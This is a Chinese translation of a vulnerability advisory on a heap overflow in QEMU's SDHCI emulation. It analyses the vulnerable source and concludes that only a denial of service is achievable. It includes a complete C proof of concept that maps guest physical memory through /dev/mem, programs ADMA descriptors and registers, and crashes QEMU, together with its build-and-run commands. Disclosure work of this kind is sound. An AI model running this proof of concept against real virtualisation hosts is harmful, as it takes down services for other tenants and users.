漏洞描述
QEMU 5.2.50版本存在堆溢出漏洞,一旦成功利用,可能导致敏感信息泄露,增加或修改数据,或拒绝服务(DoS)等安全威胁。
技术细节
SDHCI是Secure Digital Host Controller Interface的首字母缩写。其中,Secure Digital是一种专有的非易失性存储卡格式,由SD协会(SDA)为便携式设备而开发。QEMU中的SDHCI代码是基于SD协会技术委员会的SD主机控制器规范Ver2.0版本的SD控制器仿真实现的。
下图展示了SDHCI设备的寄存器,通过对某些寄存器进行写操作,我们就可以与该设备进行交互。
图1:SDHCI寄存器
这个漏洞代码位于QEMU代码中的SDHCI组件中。当blksize/block size(块缓冲区的大小)在数据传输过程中或完成传输后被篡改,就会触发该漏洞;实际上,我们可以通过向寄存器的偏移量0x4处写入数据来改变blksize。之后,在将数据存储到块缓冲区的当前偏移量处时,代码在计算时就会出错。块缓冲区的当前偏移量被存储在data_count变量中。当试图继续从块缓冲区传输数据时,数据的长度公式为blksize-data_count,这个长度是为了使块缓冲区被填满,但是由于在传输过程中blksize可能发生变化,如变为0,而data_count又没有被清零,所以计算出的blksize-data_count将导致溢出——因为这种计算会让传输的数据的长度极为膨胀(如0xfffffe01-0xffffffff),从而导致数据在堆与块缓冲区之间发生溢出。
该漏洞存在于sdhci_do_adma函数中,该函数用于处理虚拟机系统内存中sdhci与DMA缓冲区之间的数据传输。
/* Advanced DMA data transfer */ static void sdhci_do_adma(SDHCIState *s) { unsigned int begin, length; const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK; ADMADescr dscr = {}; int i; ... for (i = 0; i < SDHC_ADMA_DESCS_PER_DELAY; ++i) { s->admaerr &= ~SDHC_ADMAERR_LENGTH_MISMATCH; get_adma_description(s, &dscr); ... length = dscr.length ? dscr.length : 64 * KiB; switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) { case SDHC_ADMA_ATTR_ACT_TRAN: /* data transfer */ if (s->trnmod & SDHC_TRNS_READ) { while (length) { ... begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; length = 0; } else { s->data_count = block_size; length -= block_size - begin; } dma_memory_write(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); dscr.addr += s->data_count - begin; ... } } else { ... } ... ... } ... /* ADMA transfer terminates if blkcnt == 0 or by END attribute */ if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) && (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END)) { ... sdhci_end_transfer(s); return; } } /* we have unfinished business - reschedule to continue ADMA */ timer_mod(s->transfer_timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY); }
这个函数将根据adma的描述信息向/从DMA传输数据。而adma的描述信息是由get_adma_description给出的,并被存储在变量desc中。
static void get_adma_description(SDHCIState *s, ADMADescr *dscr) { uint32_t adma1 = 0; uint64_t adma2 = 0; hwaddr entry_addr = (hwaddr)s->admasysaddr; switch (SDHC_DMA_TYPE(s->hostctl1)) { case SDHC_CTRL_ADMA2_32: dma_memory_read(s->dma_as, entry_addr, &adma2, sizeof(adma2)); adma2 = le64_to_cpu(adma2); /* The spec does not specify endianness of descriptor table. * We currently assume that it is LE. */ dscr->addr = (hwaddr)extract64(adma2, 32, 32) & ~0x3ull; dscr->length = (uint16_t)extract64(adma2, 16, 16); dscr->attr = (uint8_t)extract64(adma2, 0, 7); dscr->incr = 8; break; case SDHC_CTRL_ADMA1_32: dma_memory_read(s->dma_as, entry_addr, &adma1, sizeof(adma1)); adma1 = le32_to_cpu(adma1); dscr->addr = (hwaddr)(adma1 & 0xFFFFF000); dscr->attr = (uint8_t)extract32(adma1, 0, 7); dscr->incr = 4; if ((dscr->attr & SDHC_ADMA_ATTR_ACT_MASK) == SDHC_ADMA_ATTR_SET_LEN) { dscr->length = (uint16_t)extract32(adma1, 12, 16); } else { dscr->length = 4 * KiB; } break; case SDHC_CTRL_ADMA2_64: dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1); dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2); dscr->length = le16_to_cpu(dscr->length); dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8); dscr->addr = le64_to_cpu(dscr->addr); dscr->attr &= (uint8_t) ~0xC0; dscr->incr = 12; break; } }
当然,还存在其他版本的ADMA,它们可以通过写hostctl寄存器来进行控制。就这里来说,对于SDHC_CTRL_ADMA2_64代码,我们也只能使用SDHC_CTRL_ADMA2_32和SDHC_CTRL_ADMA1_32,因为这个QEMU设备不允许将DMA类型设置为SDHC_CTRL_ADMA2_64。我们将在以后重新审视这个问题。目前来说,我们将使用ADMA2_32。
ADMA描述信息用于描述目标物理内存的地址、长度和属性,比如在缓冲区和系统内存之间进行读/写操作时。SDHCI将从物理内存中读取ADMA描述信息,其中地址是在admasysaddr中定义的,我们可以通过向ADMA系统地址寄存器的偏移量0x58处中写入地址值来对其进行控制。
图2:ADMA描述符示意图
以后,ADMA描述符将被用作数据传输的信息。例如,下面的代码是用来将数据从系统内存传输到设备的。在模块中,还可以通过将某些位设置为SDHC_ADMA_ATTR_ACT_TRAN将数据从设备传输到系统内存,如果我们想要向系统内存传输数据或从系统内存传输数据,可以设置trnmod寄存器。
switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) { case SDHC_ADMA_ATTR_ACT_TRAN: /* data transfer */ if (s->trnmod & SDHC_TRNS_READ) { while (length) { if (s->data_count == 0) { sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size); // fill the buffer from sd } begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; // [1] length = 0; } else { s->data_count = block_size; length -= block_size - begin; } dma_memory_write(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); // [2] dscr.addr += s->data_count - begin; if (s->data_count == block_size) { s->data_count = 0; // [3] if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) { s->blkcnt--; if (s->blkcnt == 0) { break; } } } } } else { ... }
上面的代码将通过DMA将数据从设备传输到系统内存。当length的值不为零时,这段代码将一直循环下去,并通过dma_memory_write逐块传输。它会将数据从&s->fifo_buffer[begin]传输到dscr.addr中描述的系统内存中,数据的长度为s->data_count-begin。当s->blkcnt为零或者length为零时,这个循环就会结束;但是,通过清除通过SDHC_TRNS_BLK_CNT_EN定义的一个位,我们可以就可以让上述代码对s->blkcnt置之不理。
在这个循环结束后,我们可以通过使最后一次循环执行代码[1]来使s->data_count,从让[3]处的代码不被执行。
下面这段代码将在数据传输循环完成后执行。
/* ADMA transfer terminates if blkcnt == 0 or by END attribute */ if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) && (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END)) { trace_sdhci_adma_transfer_completed(); ... sdhci_end_transfer(s); return; } } /* we have unfinished business - reschedule to continue ADMA */ timer_mod(s->transfer_timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);
如果s->blkcnt为零或者ADMA描述符提供了END属性,则进行if检查,否则说明我们还有未完成的传输,这时需重新进行调度,以继续ADMA传输,并在将来再次执行sdhci_do_adma。
稍后,我们可以将块长度寄存器改为零,然后再次继续执行sdhci_do_adma。之后,将再次执行前面解释过的代码。这时,下面存在漏洞的代码将会触发堆溢出。
begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; length = 0; } else { s->data_count = block_size; // [1] length -= block_size - begin; } dma_memory_write(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); // [2] dscr.addr += s->data_count - begin;
现在,我们知道s->data_count来自于上一次未完成的传输,并且这个值不为零,它将被存储到变量begin中。然后,将执行else代码块,把block_size赋值给s->data_count。后来,dma_memory_write将被调用,其参数length的值为s->data_count-begin,因为s->data_count为零(来自block_size),而begin不为零,所以发生溢出,导致传输的数据长度极大。实际上,我们得到了一个基于堆溢出的读取原语,通过它,我们可以将fifo_buffer转移到系统内存中。
另一方面,我们可以通过控制这段代码的执行来实现基于堆溢出的写入原语,具体如下所示。
} else { while (length) { begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; length = 0; } else { s->data_count = block_size; length -= block_size - begin; } dma_memory_read(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); dscr.addr += s->data_count - begin; if (s->data_count == block_size) { sdbus_write_data(&s->sdbus, s->fifo_buffer, block_size); s->data_count = 0; if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) { s->blkcnt--; if (s->blkcnt == 0) { break; } } } } }
这与前面的代码非常类似,不同之处在于,这里是通过DMA把数据从系统内存转移到fifo_buffer,换句话说,我们可以利用堆溢出漏洞把数据写到fifo_buffer中。
对于堆溢出漏洞来说,常见的利用思路就是通过覆盖堆中的某些数据(如指针、函数指针)来实现RCE,或覆盖其他的值,以便为进一步的漏洞利用铺路。
为了触发这个漏洞,我们需要直接执行sdhci_do_adma函数,但在这之前,我们需要先设置几个寄存器,如传输模式、块长度和主机控制寄存器。此外,我们还需要与设备进行通信。在这种情况下,我们可以通过写入设备的PCI地址进行通信,以将我们的值写入物理内存地址。
要知道地址在哪里,可以在虚拟机操作系统中使用lspci -v命令找到答案。在lspci -v的输出中,有一个关于SD主机控制器的描述符,其中含有一个内存地址0xfebf1000。所以,如果我们想在某个偏移量处对寄存器执行写操作,可以将0xfebf1000作为偏移量的起始地址,所以,到地址0xfebf1000+n处的偏移量为n。
为了与设备进行交互,我们需要对物理内存基址0xfebf1000进行读写操作。为了读写物理内存地址,我们可以使用Linux虚拟机中的系统调用mmap,通过/dev/mem来映射物理地址,具体代码如下所示。
#define SDHCI_ADDR 0xfebf1000 #define SDHCI_SIZE 256 unsigned char* sdhci_map = NULL; int fd; void* devmap( size_t offset, size_t size) { void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset ); if ( result == (void*)(-1) ) { perror( "mmap" ); } return result; } int main( int argc, char **argv ) { fd = open( "/dev/mem", O_RDWR | O_SYNC ); if ( fd == -1 ) { perror( "open /dev/mem" ); return 0; } sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE); printf("success %p\n", sdhci_map); ... }
首先,打开/dev/mem以获得存储在fd变量中的文件描述符,然后将fd变量用作mmap的第四个参数。另外,函数devmap用于通过/dev/mem来映射物理地址。为了映射一个位于0xfebf1000处的SDHCI地址,可以把地址作为第一个参数传过去,然后用256作为mmap的长度,因为SDHCI寄存器的长度是256。在这之后,我们只需通过存储在sdhci_map变量中的指针就能对内存进行读写,从而与设备进行通信了。
为了触发代码中的漏洞,我们需要设置几个寄存器。按照规范,我将电源控制寄存器设置为0x3b,将主机控制寄存器设置为0xd7以启用高级DMA。之后,我们还需要设置块长度寄存器和传输模式寄存器,这里我们将传输模式寄存器设置为0x21,以执行从设备内存到系统内存的读操作。按照规范,我们可以通过对一个命令寄存器执行写操作来触发数据传输,并最终调用漏洞所在的sdhci_do_adma函数。
static void sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size) { SDHCIState *s = (SDHCIState *)opaque; unsigned shift = 8 * (offset & 0x3); uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift); uint32_t value = val; value capareg & R_SDHC_CAPAB_SDMA_MASK)) { value &= ~SDHC_TRNS_DMA; } MASKED_WRITE(s->trnmod, mask, value & SDHC_TRNMOD_MASK); MASKED_WRITE(s->cmdreg, mask >> 16, value >> 16); /* Writing to the upper byte of CMDREG triggers SD command generation */ if ((mask & 0xFF000000) || !sdhci_can_issue_command(s)) { break; } sdhci_send_command(s); break; … }
实际上,每次执行写内存操作时,对SDHCI寄存器的处理都是由sdhci_write函数来负责的。如果我们对命令寄存器的高位字节执行写操作,根据上述代码将触发sdhci_send_command函数。
static void sdhci_send_command(SDHCIState *s) { SDRequest request; uint8_t response[16]; int rlen; s->errintsts = 0; s->acmd12errsts = 0; request.cmd = s->cmdreg >> 8; request.arg = s->argument; sdhci_update_irq(s); ... if (s->blksize && (s->cmdreg & SDHC_CMD_DATA_PRESENT)) { s->data_count = 0; sdhci_data_transfer(s); } }
在上面的代码中,sdhci_send_command函数将调用sdhci_data_transfer函数来实现数据传输。
/* Perform data transfer according to controller configuration */ static void sdhci_data_transfer(void *opaque) { SDHCIState *s = (SDHCIState *)opaque; if (s->trnmod & SDHC_TRNS_DMA) { switch (SDHC_DMA_TYPE(s->hostctl1)) { ... case SDHC_CTRL_ADMA2_32: if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK)) { trace_sdhci_error("ADMA2 not supported"); break; } sdhci_do_adma(s); break; ... } ... }
通过控制传输模式和主机控制寄存器,我们可以将执行流引导至sdhci_do_adma函数。
函数sdhci_do_adma在设备和系统内存之间的传输数据时,我们未完成的数据传输将安排在该任务之后完成,所以,设备将调用sdhci_data_transfer(它将再次调用sdhci_do_adma)以在未来继续处理我们的传输任务。在继续传输之前,我们将块长度寄存器设置为0,以便在sdhci_do_adma函数中触发下一次传输的错误。
在SDHCI寄存器中的每个读写操作都将由sdhci_write和sdhci_read操作来处理。这些函数将检查是否还有未完成的传输,如果有的话,它将通过调用sdhci_resume_pending_transfer继续处理这些传输任务。
static void sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size) { SDHCIState *s = (SDHCIState *)opaque; unsigned shift = 8 * (offset & 0x3); uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift); uint32_t value = val; value transfer_timer); sdhci_data_transfer(s); }
在此之前,我们需要存储ADMA描述信息,并通过SDHCI寄存器将ADMA描述信息的地址存储到ADMA系统地址寄存器中。为了简单起见,我把ADMA描述符写入物理地址0,然后通过SDCHI寄存器把0值写入ADMA系统地址寄存器。
void writeb(unsigned char* mem, int idx, unsigned char val) { mem[idx] = val; } void writew(unsigned char* mem, int idx, unsigned short val) { *((unsigned short*)&mem[idx]) = val; } void writel(unsigned char* mem, int idx, unsigned int val) { *((unsigned int*)&mem[idx]) = val; } void writeq(unsigned char* mem, int idx, unsigned long val) { *((unsigned long*)&mem[idx]) = val; } int main( int argc, char **argv ) { fd = open( "/dev/mem", O_RDWR | O_SYNC ); if ( fd == -1 ) { perror( "open /dev/mem" ); return 0; } unsigned char* page = devmap(MEM_ADDR, MEM_SIZE); printf("success %p\n", page); memset(page, 0, 1024); writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN writeb(page, 0x02, 0x10); writel(page, 0x04, MEM_ADDR); writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK writel(page, 0xc, MEM_ADDR); ... writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address ... }
在这里,我们创建了两个ADMA描述符。每个描述符的大小为0x8字节,描述用于数据传输或指向另一个ADMA描述符的物理内存的属性、长度和缓冲区地址。
对于第一次传输,它将使用地址为0的ADAM描述符。为此,我设置了一个带有SDHC_ADMA_ATTR_ACT_TRAN的ADMA描述符,用于数据传输。在第一次传输后,ADMA系统地址寄存器将被加8,以指向下一个ADMA描述符。为此,我设置了一个ADMA描述符,以SDHC_ADMA_ATTR_ACT_LINK作为属性,其地址为0。有了这个属性,ADMA系统地址将再次存储到地址0处。在本例中,我们的操作非常简单,因此不需要创建一堆ADMA描述符,而是每次循环创建一个ADMA描述符。
所以,sdhci_do_adma函数将被调用三次。第一次调用时,只需要填充data_count变量。第二次,函数sdhci_do_adma是被sdhci_resume_pending_transfer函数调用。第三次,sdhci_do_adma函数还是被sdhci_resume_pending_transfer调用的,其中ADMA描述符被存储到地址0x00处。存储在地址0x00处的ADMA描述符中的地址将用于数据传输,因为data_count被上一次的传输填满了,所以块长度为0,这样就会触发安全漏洞。
/* Advanced DMA data transfer */ static void sdhci_do_adma(SDHCIState *s) { unsigned int begin, length; const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK; ADMADescr dscr = {}; int i; ... switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) { case SDHC_ADMA_ATTR_ACT_TRAN: /* data transfer */ if (s->trnmod & SDHC_TRNS_READ) { begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; length = 0; } else { s->data_count = block_size; // [1] length -= block_size - begin; } dma_memory_write(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); // [1] dscr.addr += s->data_count - begin; /* Advanced DMA data transfer */ static void sdhci_do_adma(SDHCIState *s) { switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) { case SDHC_ADMA_ATTR_ACT_TRAN: /* data transfer */ ... s->admasysaddr += dscr.incr; break; case SDHC_ADMA_ATTR_ACT_LINK: /* link to next descriptor table */ s->admasysaddr = dscr.addr; trace_sdhci_adma("link", s->admasysaddr); break; ... } ... }
下面是触发这个漏洞的最终代码,如果我们在虚拟机的Linux系统上运行,将导致QEMU分段故障并崩溃。在运行这段代码之前,我们需要通过在SDHCI中启用主控位来激活DMA传输,为此,可以使用如下上述的命令:sudo setpci -s 00:04.0 4.B=7,其中00:04.0是PCI设备号,4.B=7是用来激活总线主控位。
#include #include #include #include #include #include #include #include #include #include #define SDHCI_ADDR 0xfebf1000 #define SDHCI_SIZE 256 #define MEM_ADDR 0x00000000 #define MEM_SIZE (4096) unsigned char* sdhci_map = NULL; int fd; void* devmap( size_t offset, size_t size) { void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset ); if ( result == (void*)(-1) ) { perror( "mmap" ); } return result; } void writeb(unsigned char* mem, int idx, unsigned char val) { mem[idx] = val; } void writew(unsigned char* mem, int idx, unsigned short val) { *((unsigned short*)&mem[idx]) = val; } void writel(unsigned char* mem, int idx, unsigned int val) { *((unsigned int*)&mem[idx]) = val; } void writeq(unsigned char* mem, int idx, unsigned long val) { *((unsigned long*)&mem[idx]) = val; } int main( int argc, char **argv ) { fd = open( "/dev/mem", O_RDWR | O_SYNC ); if ( fd == -1 ) { perror( "open /dev/mem" ); return 0; } unsigned char* page = devmap(MEM_ADDR, MEM_SIZE); printf("success %p\n", page); memset(page, 0, 1024); writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN writeb(page, 0x02, 0x10); writel(page, 0x04, MEM_ADDR); writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK writel(page, 0xc, MEM_ADDR); getchar(); sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE); printf("success %p\n", sdhci_map); writew(sdhci_map, 0x28, 0x3bd7); // power and host control writeb(sdhci_map, 0x05, 0x2c); // block size writeb(sdhci_map, 0x0c, 0x21); // transfer mode = SDHC_TRNS_READ writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address writew(sdhci_map, 0x0e, 0x846e); // command writew(sdhci_map, 0x04, 0x0000); // block size writew(sdhci_map, 0x08, 0x0); // argument 0, write anything just need to resume the transfer. getchar(); close( fd ); } // sudo setpci -s 00:04.0 4.B=7 && gcc -o new new.c && sudo ./new
图3:触发漏洞的PoC代码
图4:崩溃的QEMU
图5:当崩溃发生时QEMU的堆栈跟踪信息
如果查看堆栈跟踪信息,将会看到来自sdhci_do_adma的崩溃,并在dma_memory_read中向len传递给了一个非常大的数字(0xffffff80)。
虽然我们希望利用此漏洞,但事实证明这个漏洞不太可能被利用,因为我们无法完全控制溢出长度。
如果我们可以控制溢出长度,则可以轻松实现越界读写。就本例来说,我们无法完全控制溢出的长度。不过,我们可以将传递给dma_memory_read/write的长度控制在0xfffffe01-0xffffffff范围内,这就意味着,我们几乎可以覆盖并读取接近4GB的内存。
static void sdhci_do_adma(SDHCIState *s) { unsigned int begin, length; const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK; ... length = dscr.length ? dscr.length : 64 * KiB; ... while (length) { if (s->data_count == 0) { sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size); } begin = s->data_count; if ((length + begin) < block_size) { s->data_count = length + begin; length = 0; } else { s->data_count = block_size; length -= block_size - begin; } dma_memory_write(s->dma_as, dscr.addr, &s->fifo_buffer[begin], s->data_count - begin); dscr.addr += s->data_count - begin; if (s->data_count == block_size) { s->data_count = 0; if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) { s->blkcnt--; if (s->blkcnt == 0) { break; } } } } ... }
在这里,表示长度的数据的位宽是16比特,因为它来自DSCR.length,它的位宽为16比特,被存储在无符号整型变量中。实际上,该设备的块长度寄存器经过了充分的检查(此处未显示相关代码),因此block_size变量永远不会大于0x200,同时,它还会影响data_count变量,致使后者的值永远不会大于0x200。因此,这段代码缺乏另一个整数溢出来控制将传递给DMA_MEMORY_READ/WRITE的长度,所以,我们的面前唯一的一个障碍是,即待传递数据的长度(DMA_MEMORY_WRITE/READ的第三个参数,而不是length变量)介于0xFFFFFE01-0xFFFFFFFFF范围内。
面对这个障碍,我们需要在进行数据传输的同时对堆进行喷射,以使堆增长到足够大,这样传输就不会因为访问未映射的内存而发生segfault故障。然后,我们需要在系统内存中创建一个4GB的缓冲区,来存储我们的payload,这个缓冲区将被用来从Qemu堆中读取4GB的数据,以触发信息泄露,达到目的后,我们就可以执行写操作,将4GB的数据再写入堆中。系统内存中的4GB缓冲区必须是物理上连续的,因为我们是通过DMA读写操作与设备进行物理对话的。实际上,这个要求几乎是无法实现的,因为随机访问内存的行为使得我们很难向内核请求4GB物理上连续的内存,即使我们专门编写内核驱动程序来完成这项任务,也是如此。在Linux系统中,有一种方法可以通过设置内核启动参数保留内存位置,这样的话,我们就能得到4GB物理上连续的内存。众所周知,内核启动参数就是由系统解释的文本字符串,它可以改变特定的行为,启用或禁用某些功能,但是,内核启动参数只有在我们重新启动机器时才会产生影响,即使在这种情况下,获得4GB物理上连续的内存也是不太现实的,因为攻击者需要在重新启动机器时实现虚拟机逃逸。
假设,我们可以在内核中分配物理上连续的内存,因为我们的RAM足够大——这仍然是不可行的,因为我们只有32位的ADMA,这意味着,我们不能使用4GB之外的地址存储缓冲区,因为Qemu代码中的SDHCI设备并不支持它。同时,我们也不能在4GB以下的地址中存储缓冲区,因为有大量的预留内存被内核、bios或内存映射的I/O所占用,否则的话,会导致虚拟机操作系统不稳定甚至崩溃。您可以在下图中看到Linux操作系统的相关信息。实际上,我们认为其他操作系统的情况也与此类似。
图6:通过dmesg命令显示4GB地址以下的保留内存
下面这段代码支持64位ADMA。实际上,我们可以通过设置主机控制寄存器来使用64位ADMA:
static void get_adma_description(SDHCIState *s, ADMADescr *dscr) { uint32_t adma1 = 0; uint64_t adma2 = 0; hwaddr entry_addr = (hwaddr)s->admasysaddr; switch (SDHC_DMA_TYPE(s->hostctl1)) { ... case SDHC_CTRL_ADMA2_64: dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1); dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2); dscr->length = le16_to_cpu(dscr->length); dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8); dscr->addr = le64_to_cpu(dscr->addr); dscr->attr &= (uint8_t) ~0xC0; dscr->incr = 12; break; } }
当我们使用64位ADMA时,还需要进行一项检查:检查SDHCI_DATA_TRANFRT函数中的功能寄存器,如果验证通过,它将调用sdhci_do_adma函数。
/* Perform data transfer according to controller configuration */ static void sdhci_data_transfer(void *opaque) { SDHCIState *s = (SDHCIState *)opaque; if (s->trnmod & SDHC_TRNS_DMA) { switch (SDHC_DMA_TYPE(s->hostctl1)) { ... case SDHC_CTRL_ADMA2_64: if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK) || !(s->capareg & R_SDHC_CAPAB_BUS64BIT_MASK)) { trace_sdhci_error("64 bit ADMA not supported"); break; } sdhci_do_adma(s); Break; ... }
功能寄存器是一个只读寄存器,用于存储有关主机控制器的信息。我们可以通过定义在SDHCI_INTERNAL.h文件中的某个常量将功能寄存器值设置为默认值。
/* * Default SD/MMC host controller features information, which will be * presented in CAPABILITIES register of generic SD host controller at reset. * * support: * - 3.3v and 1.8v voltages * - SDMA/ADMA1/ADMA2 * - high-speed * max host controller R/W buffers size: 512B * max clock frequency for SDclock: 52 MHz * timeout clock frequency: 52 MHz * * does not support: * - 3.0v voltage * - 64-bit system bus * - suspend/resume */
从功能寄存器中R_SDHC_CAPAB_BUS64BIT_MASK的位值来看,这个设备并不支持64位ADMA寄存器,这就意味着我们无法在4GB地址以上的物理内存中创建缓冲区。所以,在这种限制下,我们无法利用这个漏洞进行完整的利用,如实现虚拟机逃逸。相反,对于这个漏洞,只能用于发动DOS攻击,使QEMU崩溃并退出。
时间线
2020-12-28,将该漏洞报告给供应商。
2021-03-09,供应商分配CVE编号。
本文翻译自:https://starlabs.sg/advisories/21-3409/如若转载,请注明原文地址